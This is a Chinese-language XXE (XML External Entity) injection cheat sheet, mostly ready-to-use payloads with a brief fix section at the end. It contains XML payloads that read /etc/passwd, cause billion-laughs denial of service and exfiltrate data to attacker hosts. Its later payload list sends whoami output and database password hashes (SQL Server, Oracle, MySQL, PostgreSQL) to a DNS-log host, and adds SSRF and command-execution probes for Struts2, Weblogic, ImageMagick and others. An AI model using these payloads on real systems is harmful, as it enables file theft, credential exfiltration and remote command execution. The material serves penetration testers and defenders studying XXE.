XXE XML外部实体注入(XML External Entity)
XML
XML菜鸟教程
DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:
<!ENTITY % param1 '<!ENTITY % xxe SYSTEM "http://evil/log?%payload;" >'
%也可写为16进制%
XXE的攻击类型
XXE攻击类型 | 描述 |
---|---|
检索文件 | 定义包含文件内容的外部实体,并在应用程序的响应中返回的实体。 |
SSRF攻击 | 根据后端系统的URL定义外部实体的位置。 |
带外数据 | 敏感数据从应用程序服务器传输到攻击者控制的系统的位置。 |
通过错误消息检索数据 | 攻击者可以在其中触发包含敏感数据的分析错误消息。 |
漏洞成因
- php
- java
python
利用方式
Content-type:application/xml
libxml2.9.1及以后,默认不解析外部实体
** 默认支持的协议(不仅限) **
| libxml2| PHP| Java| .NET|
| ----| ----| ----| ----|
| file| file| file| file|
| http| http| http| http|
| ftp| ftp| ftp| ftp|
| | https| https| https|
| | php| jar| |
| | data| netdoc| |
| | glob| mailto| |
| | phar| gopher*| |
| | compress.zlib| | |
| | compress.bzip2| | |
** PHP若开启expect扩展,可以执行系统命令 expect://id **
- XML实例
<!--?xml version="1.0" ?-->
<userInfo>
<firstName>John</firstName>
<lastName>Doe</lastName>
</userInfo>
- XXE示例
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<lastName>&example;</lastName>
</userInfo>
- XXE 文件披露
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<lastName>&ent;</lastName>
</userInfo>
- XXE 拒绝服务
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
- XXE 文件包含(读取文件)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
- 本地文件包含盲注
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>
- 访问控制旁路(加载受限资源-PHP示例)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>∾</result></foo>
- SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
- 远程攻击-通过外部Xml包含
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
- UTF-7范例
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
- Base64编码
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
- SOAP示例中的XXE
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
- SVG内部的XXE
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
高级利用(绕过)
** 本地可使用dnslog,web日志,nc,ftp等方式接收数据 **
| 接收方式 | payload |
|----|----|
| dnslog | http://%file;.dnslog地址/txxe |
| ftp | ftp://你的地址:33/%file; |
| web日志 | http://你的地址/xxe |
| nc | 任何协议,本地监听对应端口即可 |
- 通过DTD文档引入外部DTD文档
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>
//或者
<?xml version="1.0">
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
%d;
]>
<c>&b;</c>
//DTD内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
- BYPASS
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"
其它payload
- Command Execution
- linux:
curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io
- windows
ping %USERNAME%.b182oj.ceye.io
- SQL Injection
- SQL Server
DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa') +'.ip.port.b182oj.ceye.io'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
- Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io'); SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL; SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL; SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL; SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
- MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
- PostgreSQL
DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\''; EXECUTE exec_cmd; END; $ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();
- Others
- Struts2
xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4} xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
- FFMpeg
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://ip.port.b182oj.ceye.io #EXT-X-ENDLIST
- Weblogic
xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
- ImageMagick
push graphic-context viewbox 0 0 640 480 fill 'url(http://ip.port.b182oj.ceye.io)' pop graphic-context
- Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf
- Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
修复方法
方案一、使用开发语言提供的禁用外部实体的方法 - PHP:
libxml_disable_entity_loader(true); - JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false); - Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) - 其他语言
https://owasp.org/www-project-cheat-sheets/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。